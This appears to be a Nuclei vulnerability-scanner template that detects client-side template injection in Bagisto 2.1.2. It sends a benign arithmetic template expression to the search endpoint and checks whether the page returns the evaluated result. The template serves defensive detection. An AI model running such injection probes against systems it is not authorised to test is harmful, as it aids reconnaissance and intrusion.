id: bagisto-csti

info:
  name: Bagisto 2.1.2 Client-Side Template Injection
  author: s4e-io
  severity: medium
  description: |
    Bagisto is vulnerable to Client-Side Template Injection (CSTI), which allows an attacker to execute arbitrary code on the server.
  reference:
    - https://packetstormsecurity.com/files/179153/Bagisto-2.1.2-Client-Side-Template-Injection.html
    - https://demo.bagisto.com/
  classification:
    cpe: cpe:2.3:a:webkul:bagisto:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: webkul
    product: bagisto
    fofa-query: "Bagisto"
  tags: bagisto,csti,packetstorm,ssti

http:
  - method: GET
    path:
      - "{{BaseURL}}/bagisto-common/search?query={{228*'98'}}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "22344"
          - "bagisto"
        condition: and

      - type: word
        part: content_type
        words:
          - "text/html"
# digest: 4a0a004730450220136bcb4efbcb0850cd5b5266d892e7bbdbe76b108a05029cf87f25ac5e29c246022100f4aca5114b1f1a8f93f374b33fdbccf245f20c38d161b9594e94ad9d093b12bd:922c64590222798bb761d5b6d8e72950